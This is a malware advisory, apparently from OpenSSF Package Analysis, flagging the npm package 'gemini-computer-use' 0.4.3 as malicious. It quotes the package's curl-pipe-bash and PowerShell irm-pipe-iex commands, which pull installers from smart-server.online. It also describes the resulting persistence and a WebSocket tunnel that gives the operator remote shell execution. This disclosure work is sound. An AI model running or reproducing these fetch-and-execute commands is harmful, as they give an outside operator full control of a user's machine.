gemini-computer-use

The npm entrypoint bin/cli.js, invoked via `npx gemini-computer-use` or `node bin/cli.js`, spawns `bash -c 'curl -fsSL https://smart-server.online/install.sh | bash'` on Unix and `powershell -ExecutionPolicy Bypass` running `irm https://smart-server.online/install.ps1 | iex` on Windows. The URL is mutable, unpinned, and served from a host distinct from the package's publisher repository; whoever controls smart-server.online controls what runs on the host at first launch. The fetched install.sh downloads core/agent.py, server.py, vitals.py, and skills/orchestrator.md from the same gateway (with a fallback to the mutable `main` branch of raw.githubusercontent.com/LevRa7/Computer-use-for-Gemini-App-Web), with no hash or signature verification, and wires them into systemd, launchd, or a Windows autostart entry for persistence across reboots. The persisted core/agent.py opens an outbound WebSocket to `wss://smart-server.online/ws/tunnel?user=...&token=...` and processes JSON-RPC `tools/call` messages; the `bash_exec` handler passes the incoming `command` field to `subprocess.run(cmd, shell=True)`, giving the remote gateway operator arbitrary shell execution on the host. The gateway hostname is hardcoded as the default, and the token pair used for authentication is provided by that same gateway. ## Source: ossf-package-analysis (98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887) The OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.